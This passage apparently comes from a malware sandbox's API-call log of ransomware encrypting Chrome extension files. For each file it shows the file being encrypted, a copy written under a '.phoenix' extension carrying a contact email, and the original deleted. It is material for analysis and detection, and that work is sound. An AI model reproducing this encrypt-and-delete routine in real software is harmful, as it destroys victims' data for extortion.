	[0263.594] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.594] CryptDestroyKey (hKey=0x151640) returned 1
	[0263.594] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.594] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0263.595] CloseHandle (hObject=0x308) returned 1
	[0263.595] CloseHandle (hObject=0x2c0) returned 1
	[0263.595] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json")) returned 1
	[0263.595] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.596] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.596] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=234) returned 1
	[0263.596] CloseHandle (hObject=0x2c0) returned 1
	[0263.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json")) returned 0x20
	[0263.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.596] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.596] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.596] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.596] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0263.597] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151380) returned 1
	[0263.597] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.597] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xea, lpOverlapped=0x0) returned 1
	[0263.598] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0, dwBufLen=0xf0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0) returned 1
	[0263.598] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf0, lpOverlapped=0x0) returned 1
	[0263.599] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1513c0) returned 1
	[0263.599] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.599] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.600] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0263.600] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.600] CryptDestroyKey (hKey=0x151380) returned 1
	[0263.600] CloseHandle (hObject=0x2c0) returned 1
	[0263.600] CloseHandle (hObject=0x308) returned 1
	[0263.600] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json")) returned 1
	[0263.601] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.601] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0263.602] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=304) returned 1
	[0263.602] CloseHandle (hObject=0x308) returned 1
	[0263.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json")) returned 0x20
	[0263.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.602] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0263.602] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.602] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.602] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.603] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151640) returned 1
	[0263.603] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.603] ReadFile (in: hFile=0x308, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x130, lpOverlapped=0x0) returned 1
	[0263.604] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x140, dwBufLen=0x140 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x140) returned 1
	[0263.604] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x140, lpOverlapped=0x0) returned 1
	[0263.605] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1515c0) returned 1
	[0263.605] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.605] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.605] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0263.605] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.605] CryptDestroyKey (hKey=0x151640) returned 1
	[0263.605] CloseHandle (hObject=0x308) returned 1
	[0263.605] CloseHandle (hObject=0x2c0) returned 1
	[0263.606] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json")) returned 1
	[0263.606] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.606] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.607] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=232) returned 1
	[0263.607] CloseHandle (hObject=0x2c0) returned 1
	[0263.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json")) returned 0x20
	[0263.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.607] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.607] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.607] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.607] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0263.608] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151040) returned 1
	[0263.608] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.608] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xe8, lpOverlapped=0x0) returned 1
	[0263.609] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0, dwBufLen=0xf0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0) returned 1
	[0263.609] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf0, lpOverlapped=0x0) returned 1
	[0263.610] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1515c0) returned 1
	[0263.610] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.610] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.610] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0263.610] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.610] CryptDestroyKey (hKey=0x151040) returned 1
	[0263.610] CloseHandle (hObject=0x2c0) returned 1
	[0263.610] CloseHandle (hObject=0x308) returned 1
	[0263.610] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json")) returned 1
	[0263.611] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.612] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0263.612] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=258) returned 1
	[0263.612] CloseHandle (hObject=0x308) returned 1
	[0263.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_cn\\messages.json")) returned 0x20
	[0263.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_cn\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.706] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.706] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.707] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.707] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_cn\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.708] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151040) returned 1
	[0263.708] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.708] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x102, lpOverlapped=0x0) returned 1
	[0263.709] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0263.709] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0263.710] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1513c0) returned 1
	[0263.710] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.710] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.710] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0263.710] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.720] CryptDestroyKey (hKey=0x151040) returned 1
	[0263.720] CloseHandle (hObject=0x2c4) returned 1
	[0263.720] CloseHandle (hObject=0x2b0) returned 1
	[0263.720] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_cn\\messages.json")) returned 1
	[0263.721] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.721] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\angular.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\angular.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.724] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=585205) returned 1
	[0263.724] CloseHandle (hObject=0x2b0) returned 1
	[0263.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\angular.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\angular.js")) returned 0x20
	[0263.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\angular.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\angular.js.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
